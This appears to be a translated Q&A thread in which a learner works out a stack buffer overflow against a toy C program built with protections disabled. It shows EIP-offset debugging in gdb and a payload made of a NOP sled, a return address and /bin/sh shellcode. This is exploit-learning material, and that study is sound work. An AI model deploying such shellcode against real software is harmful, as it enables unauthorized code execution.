Переполнение буфера — поиск EIP

Я на Linux kali 5.6.0-kali2-amd64 #1 SMP Debian 5.6.14-1kali1 (2020-05-25) x86_64 GNU/Linux и учусь использовать уязвимости, связанные с переполнением буфера, поэтому у меня пока плохо получается, поэтому, вероятно, это будет простой вопрос, но я не могу найти какой-либо полезный ресурс в Интернете.

Я пытаюсь использовать простую программу, использующую уязвимость переполнения буфера. Исходный код программы следующий:

#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[]){
        char buffer[64];

        if (argc < 2){
                printf("Error - Increase input!");
                return 1;
        }
        strcpy(buffer, argv[1]);
        return 0;
}

и уязвимая функция — strcpy.

Я скомпилировал его, используя:

gcc buf.c -o buf -fno-stack-protector -m32 -no-pie -z execstack -g

Поиск смещения

Итак, первый шаг, который я обычно делаю, — это создание буфера, чтобы найти правильное смещение для записи в EIP.

kali@kali:~/Downloads/temp$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Используя gdb (с установленным peda), я запускаю программу и проверяю регистры.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x33634132 ('2Ac3')
ECX: 0x63413163 ('c1Ac')
EDX: 0xffffd224 --> 0xffffd200 ("c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")
ESI: 0xf7fb2000 --> 0x1dfd6c 
EDI: 0xf7fb2000 --> 0x1dfd6c 
EBP: 0x41346341 ('Ac4A')
ESP: 0x6341315f ('_1Ac')
EIP: 0x80491d8 (<main+102>:     ret)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491d3 <main+97>: pop    ebx
   0x80491d4 <main+98>: pop    ebp
   0x80491d5 <main+99>: lea    esp,[ecx-0x4]
=> 0x80491d8 <main+102>:        ret    
   0x80491d9 <__x86.get_pc_thunk.ax>:   mov    eax,DWORD PTR [esp]
   0x80491dc <__x86.get_pc_thunk.ax+3>: ret    
   0x80491dd <__x86.get_pc_thunk.ax+4>: xchg   ax,ax
   0x80491df <__x86.get_pc_thunk.ax+6>: nop
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x6341315f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x080491d8 in main (argc=<error reading variable: Cannot access memory at address 0x63413163>, argv=<error reading variable: Cannot access memory at address 0x63413167>) at buf.c:13
13      }

Как вы можете видеть выше, я не вижу, что находится в EIP, чтобы использовать msf-pattern_offset для проверки смещения EIP.

Другие тесты

Позже я попробовал другие смещения и заметил, что если буфер ровно 64, вывод будет

gdb-peda$ run $(python -c 'print "A"*64')

##OUTPUT##
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd200 ('A' <repeats 48 times>)
EDX: 0xffffd230 --> 0xffffd200 ('A' <repeats 48 times>)
ESI: 0xf7fb2000 --> 0x1dfd6c 
EDI: 0xf7fb2000 --> 0x1dfd6c 
EBP: 0x0 
ESP: 0xffffd200 ('A' <repeats 48 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd200 ('A' <repeats 48 times>)
0004| 0xffffd204 ('A' <repeats 44 times>)
0008| 0xffffd208 ('A' <repeats 40 times>)
0012| 0xffffd20c ('A' <repeats 36 times>)
0016| 0xffffd210 ('A' <repeats 32 times>)
0020| 0xffffd214 ('A' <repeats 28 times>)
0024| 0xffffd218 ('A' <repeats 24 times>)
0028| 0xffffd21c ('A' <repeats 20 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

Исследуя это, я вижу, что EIP находится ровно после 12 символов.

gdb-peda$ run $(python -c 'print "A"*12 + "B"*4 + "C"*48')

#OUTPUT#
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd200 ('C' <repeats 48 times>)
EDX: 0xffffd230 --> 0xffffd200 ('C' <repeats 48 times>)
ESI: 0xf7fb2000 --> 0x1dfd6c 
EDI: 0xf7fb2000 --> 0x1dfd6c 
EBP: 0x0 
ESP: 0xffffd200 ('C' <repeats 48 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd200 ('C' <repeats 48 times>)
0004| 0xffffd204 ('C' <repeats 44 times>)
0008| 0xffffd208 ('C' <repeats 40 times>)
0012| 0xffffd20c ('C' <repeats 36 times>)
0016| 0xffffd210 ('C' <repeats 32 times>)
0020| 0xffffd214 ('C' <repeats 28 times>)
0024| 0xffffd218 ('C' <repeats 24 times>)
0028| 0xffffd21c ('C' <repeats 20 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Используя 32-битную полезную нагрузку, порождающую оболочку, моя идея состояла в том, чтобы разработать эксплойт, передающий в программу следующий буфер:

python -c 'print "\x90"*12 + "\x00\xd2\xff\xff" + "\x90"*12 + "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" + "\x90"*4'

и я получаю этот вывод:

bash: warning: command substitution: ignored null byte in input
[Inferior 1 (process 5292) exited normally]
Warning: not running

Так что я думаю, что я близок, но я не могу понять, как заставить его работать.

ИЗВИНИТЕ ЗА ДЛИННОСТЬ ВОПРОСА


person scarecrow    schedule 22.06.2020    source источник
comment
Когда вы запускаете приложение с шелл-кодом и NOP, что находится по адресу 0xffffd200? Если это NOP, не могли бы вы изменить EIP, чтобы он указывал на 0xffffd201 (\x01\xd2\xff\xff)? \x00 - это нулевой символ, который не подходит для вашего места в памяти.   -  person Pieter    schedule 10.10.2020


Ответы (1)


bash: предупреждение: подстановка команды: игнорируется нулевой байт на входе

bash внутри использует строки C, поэтому нулевые байты (\0) означают для него конец строки. Попробуйте вместо этого использовать zsh (т.е. запустите zsh, а затем вашу команду, как написано).

person Blindy    schedule 22.06.2020
comment
Что вы имеете в виду, ничего не меняется, zsh буквально не имеет этого предупреждения в коде. - person Blindy; 23.06.2020
comment
Да, именно так, в основном, если я запускаю zsh и запускаю программу, передающую один и тот же ввод, она не дает никакого вывода. Он просто возвращает мне оболочку zsh (полезная нагрузка должна выводить мне оболочку /bin/sh). Вместо этого, если я запускаю gdb в zsh и запускаю то же самое в gdb, это дает ту же ошибку. - person scarecrow; 23.06.2020
comment
полезная нагрузка должна вывести мне оболочку /bin/sh. Я понятия не имею, что вы имеете в виду, вы просто запускаете (насколько я могу судить из вашего 5-страничного вопроса) простую 5-строчную программу на C++. Какое это имеет отношение к башу? (т.е. на что указывает /bin/sh) - person Blindy; 23.06.2020
comment
И если ваша программа ничего не делает, то это хорошо, потому что ваша программа буквально ничего не делает. - person Blindy; 23.06.2020